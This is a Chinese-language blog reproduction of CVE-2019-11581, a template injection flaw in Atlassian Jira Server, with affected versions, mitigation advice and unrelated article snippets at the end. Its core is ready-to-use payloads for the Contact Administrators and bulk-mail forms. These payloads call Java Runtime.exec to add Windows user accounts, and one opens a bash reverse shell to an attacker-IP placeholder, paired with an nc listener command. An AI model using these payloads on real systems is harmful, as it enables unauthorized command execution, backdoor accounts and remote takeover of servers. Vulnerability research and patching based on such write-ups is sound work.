Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

摘要:
0x00漏洞描述AtlassianJira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。AtlassianJiraServer和JiraDataCenter存在服务端模板注入漏洞,成功利用此漏洞的攻击者可对运行受影响版本的JiraServer或JiraDataCenter的服务器执行任意命令,从而获取服务器权限,严重危害网络资产。原因在于atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators未对Subject处进行过滤,用户传入的邮件主题被当作template(模板)指令执行。default.jspa如果出现以下运行版本号则为存在漏洞。

0x00 漏洞描述

Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。

Atlassian Jira Server和Jira Data Center存在服务端模板注入漏洞,成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的服务器执行任意命令,从而获取服务器权限,严重危害网络资产。

0x01 CVE编号

CVE-2019-11581

0x02 漏洞危害等级

高危

0x03 漏洞影响范围

AtlassianJira 4.4.x
AtlassianJira 5.x.x
AtlassianJira 6.x.x
AtlassianJira 7.0.x

AtlassianJira 7.1.x

AtlassianJira 7.2.x
AtlassianJira 7.3.x
AtlassianJira 7.4.x
AtlassianJira 7.5.x
AtlassianJira 7.6.x < 7.6.14
AtlassianJira 7.7.x
AtlassianJira 7.8.x
AtlassianJira 7.9.x
AtlassianJira 7.10.x
AtlassianJira 7.11.x
AtlassianJira 7.12.x
AtlassianJira 7.13.x < 7.13.5
AtlassianJira 8.0.x < 8.0.3
AtlassianJira 8.1.x < 8.1.2
AtlassianJira 8.2.x < 8.2.3

0x04 漏洞简析

1.利用前提条件:

第一种,未授权代码执行利用条件:Jira已配置好SMTP服务器,且需开启“联系网站管理员表单”功能。(从WEB界面设计上看,实际上如果没配置SMTP服务器,无法开启此功能

第二种利用场景前提是拿到Jira管理员的权限,利用条件较难满足,这里主要分析第一种情况。原因在于atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators未对Subject(邮件主题)处进行过滤,用户传入的邮件主题被当作template(模板)指令执行。在任何一种情况下,成功利用此漏洞的攻击者都可在运行受影响版本的Jira Server或Jira Data Center的系统上执行任意命令。

2.以下两种url漏洞验证方式:

第一种无需管理员账户权限:http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第1张

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第2张

第二种需管理员账户权限:http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第3张

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第4张

如果出现以下运行版本号则为存在漏洞。

0x05 漏洞复现

1. 漏洞利用条件

联系管理员处必须开启 (需要知道后台管理员账号密码)

2.环境准备:

Atlassian JIRAv7.13.0(以该版本为例,该版本存在漏洞)下载地址:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装),注意,到了邮件配置那一步经尽量选以后(默认就是),然后进入后台配置。

3.确认未登陆状态下漏洞的存在

访问如下URL(无需管理员账户权限):

http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

如果提示如下图,这说明没有配置联系管理员是无法触发漏洞。

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第5张
Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第6张

请登陆后台开启联系管理员,配置地址如下:

http://10.10.20.116:8080/secure/admin/EditApplicationProperties!default.jspa

默认是关闭的,需要配置了STMP发信后才能开启,配置STMP的时候可以测试连接,服务器必须开25端口,不然不能发邮件,下图是开启成功

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第7张
Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第8张

4.未登陆状态下触发漏洞

访问

http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第9张

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第10张

在Subject填入payload,注意,我这里环境是windows机器,所以可以添加账号观察,Linux可以用反弹shell的代码等等,反正换成自己想执行的命令。

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第11张
Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第12张

发送了后可能会等一会儿,因为要加入邮件队列。这时候再上服务器执行net user查看,发现正是刚刚执行命令添加的账户。

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第13张

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第14张

5. 登陆管理员账号触发漏洞

登陆管理员账号,然后访问如下URL:

http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa

填入payload,如下,注意执行命令添加账号的账户名

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor()
Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第15张

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第16张

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第17张
Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第18张
linux下可执行:
目标Jira系统可执行的POC
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻击者IP/2333 0>&1').waitFor()
攻击者主机执行:nc -lvvp 2333

0x06 漏洞修复

1.临时处置建议
若无法及时升级Jira,可采取以下缓解措施:
1.禁止访问http://ip:port/secure/ContactAdministrators!default.jspa
2.关闭联系网站管理员表单功能,具体步骤如下:
设置 => 系统 => 编辑设置 => 联系管理员表单处选择“关”,然后点击最下面的“更新”保存设置。
Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第19张
Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第20张

编辑设置

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第21张
Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)第22张

关闭联系网站管理员表单功能

2.处置建议

1.升级到不受漏洞影响的版本。

2.对http://ip:port/secure/admin/SendBulkMail!default.jspa限制访问的源ip

0x07 参考文献

https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw

https://mp.weixin.qq.com/s/_Tsq9p1pQyszJt2VaXd61A
https://paper.seebug.org/982/
https://www.jianshu.com/p/ddf1233d333f

https://github.com/jas502n/CVE-2019-11581

https://www.jianshu.com/p/ddf1233d333f
http://ximcx.cn/post-158.html

免责声明:文章转载自《Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇公私钥、CA证书生成aspnet webapi 跨域请求 405错误下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

flask_jwt_extended 4.0学习

1.前言       在学习flask_jwt_extended插件的时候遇到许多问题,究其原因是因为版本问题,4.0以后的版本在语法上做了许多优化,而我是参考较低版本的flask_jwt_extended学习的,一开始不明白出问题的原因,所以参考了许许多多博友的思路和写法,发现并没有问题,后来想到去看官方的文档,发现了原因所在,以下是4.0版本的api变...

Linux OpenSSL安装和使用示例

由于使用的是Linux系统,在使用沙箱时需要生成公钥和私钥,更具官方说明,Linux只能使用OpenSSL。 一、下载&安装 到 OpenSSL 官网下载源码进行编译,然后安装。 下载源码 openssl-3.0.0-alpha9.tar.gz wget https://www.openssl.org/source/openssl-3.0.0-...

实验五 团队作业1:软件研发团队组建与软件案例分析

项目 内容 课程班级博客链接 https://edu.cnblogs.com/campus/xbsf/nwnu2020SE 这个作业要求链接 https://www.cnblogs.com/nwnu-daizh/p/12709461.html 团队名称 秃头小宝贝 团队的课程学习目标 通过团队合作学习的方法,掌握团队开发的要点,理解团...

CAS实现SSO单点登录原理

一、不落俗套的开始 1、背景介绍 单点登录:Single Sign On,简称SSO,SSO使得在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。 CAS框架:CAS(Central Authentication Service)是实现SSO单点登录的框架。 2、盗一张学习CAS绝大多都看过的图以及执行部分分析 注:已分不清原创,此...

【安卓开发】为什么不能往Android的Application对象里存储数据

在一个App里面总有一些数据需要在多个地方用到。这些数据可能是一个 session token,一次费时计算的结果等。通常为了避免activity之间传递对象的开销 ,这些数据一般都会保存到持久化存储里面。 有人建议将这些数据保存到 Application 对象里面,这样这些数据对所有应用内的activities可用。这种方法简单,优雅而且……完全扯淡。...

Gentoo 包管理器: Emerge使用方法

安装与卸载 安装软件 emerge --ask --verbose package_name 只下载源码 emerge -f package_name 软件包卸载 emerge --unmerge package_name 清除所有失去依赖关系的软件包(清理系统) emerge --depclean 更新与同步 更新系统中的...